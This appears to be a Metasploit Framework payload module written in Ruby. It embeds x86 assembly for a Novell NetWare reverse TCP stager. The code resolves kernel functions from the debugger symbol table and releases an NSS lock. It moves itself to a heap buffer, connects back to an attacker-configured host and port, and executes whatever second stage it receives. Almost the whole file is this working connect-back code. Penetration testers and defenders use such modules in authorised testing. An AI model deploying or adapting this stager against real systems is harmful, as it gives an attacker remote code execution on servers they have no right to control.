##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasm'

module MetasploitModule
  CachedSize = 281

  include Msf::Payload::Stager
  include Msf::Payload::Netware

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Reverse TCP Stager',
        'Description' => 'Connect back to the attacker',
        'Author' => 'toto',
        'License' => MSF_LICENSE,
        'Platform' => 'netware',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::ReverseTcp,
        'Convention' => 'sockesi',
        'Stager' => {
          'Offsets' =>
            {
              'LHOST' => [ 0, 'ADDR' ],
              'LPORT' => [ 0, 'n' ]
            },
          'Assembly' => <<~EOS
            jmp main_code

            //
            // resolve a symbol address using the DebuggerSymbolHashTable
            // (could resolve only against function name for smaller code)
            //

            resolv_addr:
              push edi
              push ecx
              xor edi, edi
            r_loop:
              mov edx, [ebp+edi*4]
              test edx, edx
              jz  r_next
            r_loop2:
              xor esi, esi
              mov ebx, [edx+8]
              mov al, byte ptr[ebx]
            r_iloop2:
              test al, al
              jz r_after2
              inc ebx
              movzx ecx, byte ptr[ebx]
              ror esi, 0x0d
              add esi, ecx
              dec al
              jmp r_iloop2
            r_after2:
              cmp esi, [esp+0x0c]
              jz r_found
              mov edx, [edx]
              test edx, edx
              jnz r_loop2
            r_next:
              inc edi
              cmp edi, 0x200
              jnz r_loop
              jmp r_end
            r_found:
              mov eax, [edx+4]
            r_end:
              pop ecx
              pop edi
              ret


            main_code:
              // search DebuggerSymbolHashTable pointer using GDT system call gate
              // -> points inside SERVER.NLM
              cli
              sub esp, 8
              mov ecx, esp
              sgdt [ecx]

              cli
              mov ebx, [ecx+2]

              mov bp, word ptr [ebx+0x4E]
              shl ebp, 16
              mov bp, word ptr [ebx+0x48]

            f_finddebugger:
              cmp dword ptr[ebp], 0
              jnz f_next
              cmp dword ptr[ebp+4], 0x808bc201
              jz f_end
            f_next:
              dec ebp
              jmp f_finddebugger
            f_end:
              mov ebp, [ebp-7]

              // resolve function pointers
              call current
            current:
              pop edi
              add edi, (fct_ptrs - current)
              mov cl, 6
            resolv_ptrs:
              push [edi]
              call resolv_addr
              stosd
              dec cl
              test cl, cl
              jnz resolv_ptrs

              sti

              // remove CIFS lock
              call [edi-4]          // NSS.NLM|NSSMPK_UnlockNss

              // allocate heap buffer to remove the code from the stack (if on the stack)
              // network functions will give back control to the kernel and we don't want
              // the driver to erase our shellcode

              push 65535
              call [edi-8]          ; AFPTCP.NLM|LB_malloc
              mov ecx, (end_reverse - reverse_connect)
              mov esi, edi
              sub esi, ecx
              mov edi, eax
              test eax, eax
              jz end

              repe movsb
              jmp eax


            reverse_connect:
              xor ebx, ebx

              push ebp
              mov ebp, esp
              push ebp
              push ebx        // protocol
              push 1          // SOCK_STREAM
              push 2          // AF_INET
              call [edi-0xc]       // LIBC.NLM|bsd_socket_mp
              mov esi, eax
              test eax, eax
              jz end

              push ebx
              push ebx
              push LHOST
              push.i16 LPORT
              push.i16 2
              mov ecx, esp
              push ebp
              push 16
              push ecx
              push esi
              call [edi-0x10]       // LIBC.NLM|bsd_connect_mp
              cmp eax, -1
              jz end

              push 65535
              push edi
              mov ecx, esp

              push ebx
              push ebx
              push ebx
              inc ebx
              push ebx
              dec ebx
              push ecx
              push ebx
              push ebx
              mov ecx, esp

              push ebp
              push ebx
              push ecx
              push esi
              call [edi-0x14]       // LIBC.NLM|bsd_recvmsg_mp

              jmp edi

            end:
              ; go back to the main kernel loop
              call [edi-0x18]       // SERVER.NLM|kWorkerThread

            fct_ptrs:
              dd 0x9294bdcb         // SERVER.NLM|kWorkerThread
              dd 0x3605cc1c         // LIBC.NLM|bsd_recvmsg_mp
              dd 0x19a75280         // LIBC.NLM|bsd_connect_mp
              dd 0x46f23d88         // LIBC.NLM|bsd_socket_mp
              dd 0x6877687c         // AFPTCP.NLM|LB_malloc
              dd 0x8967f0ce         // NSS.NLM|NSSMPK_UnlockNss
            end_reverse:
              nop
          EOS
        }
      )
    )
  end
end
